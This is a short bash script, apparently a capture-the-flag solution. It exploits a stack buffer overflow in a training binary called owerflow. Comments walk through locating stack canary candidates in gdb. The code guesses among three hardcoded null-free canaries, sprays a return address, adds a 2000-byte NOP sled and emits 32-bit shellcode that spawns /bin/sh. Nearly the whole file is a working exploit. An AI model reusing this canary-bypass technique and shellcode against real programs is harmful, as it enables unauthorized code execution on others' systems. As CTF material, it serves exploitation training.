42 lines
1.3 KiB
Bash
42 lines
1.3 KiB
Bash
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#!/bin/bash
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# flag{CANARY_IS_ALSO_AN_ISLAND}
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##### Exploit Creation Steps #####
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# Step 1: Locate address of 'int stack_canaries [10]' using gdb
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# Command: disas owerflow
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# -> 0x56559020
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##################################
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# Step 2: Print all 10 possible stack canaries in gdb
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# Command: x/10xw 0x56559020
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##################################
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# Step 3: Select only those canaries that do not contain a null byte
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##################################
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# Step 4: Combine Slide Rider with the selected stack canaries
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##################################
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############ Exploit ##############
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# Step 1: Choose a random canary candidate and overwrite the buffer with 'A's, then insert the canary candidate.
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# Note: Only canaries without null bytes can be used due to the use of strcpy.
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case $(( RANDOM % 3 )) in
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0)
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printf "AAAAAAAAAAAAAAAA\xa9\x67\xa3\x70"
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;;
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1)
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printf "AAAAAAAAAAAAAAAA\xc1\xd1\xce\x4b"
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;;
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2)
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printf "AAAAAAAAAAAAAAAA\x0e\x8b\xba\x08"
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;;
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esac
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# Step 2: Fill the buffer with a candidate return address
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printf "\x10\xd6\xff\xff%.0s" {1..30}
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# Step 3: Write a lot of NOPs to stdout as a slide for the shellcode
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printf "\x90%.0s" {1..2000}
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# Step 4: Write the provided shellcode to stdout
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printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
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###################################
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